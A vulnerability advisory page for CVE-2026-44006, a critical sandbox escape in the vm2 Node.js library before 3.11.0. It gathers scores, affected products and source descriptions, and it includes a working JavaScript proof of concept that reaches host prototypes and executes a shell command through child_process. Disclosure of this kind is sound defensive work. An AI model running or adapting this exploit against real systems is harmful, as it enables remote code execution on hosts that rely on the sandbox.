CVE-2026-44006
JSON

10.0critical

vm2: Sandbox Escape

Severity
10.0critical CVSS:3.1 by GitHub_M
Exploit likelihood
0.81% (higher than 58% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qcp4-v2jj-fjx8

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

Affected

Product or packageVersionsReported by
patriksimek vm2< 3.11.0CVE List
ansible-automation-platform/automation-portalNot specified
Not affected: from 1785854226 before *
CVE List
rhdh/rhdh-hub-rhel9Not specifiedCVE List
vm2 (npm)before 3.11.0GitHub Advisory Database
vm2_project vm2before 3.11.0NVD

All scores

GitHub_M10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
redhat-SADP10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
GitHub10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-94CWE-914

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

GitHub Advisory Database
Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC
let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});
Impact

Sandbox Escape -> RCE

NVD (es)

vm2 es un vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.0, es posible alcanzar BaseHandler.getPrototypeOf, lo que puede usarse para obtener prototipos arbitrarios. Esta vulnerabilidad está corregida en la versión 3.11.0.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44006 changed 2026-09-07CVE Terms of Use
GitHub Advisory DatabaseGHSA-qcp4-v2jj-fjx8 changed 2026-05-14CC-BY-4.0
NVDCVE-2026-44006 changed 2026-10-26Public domain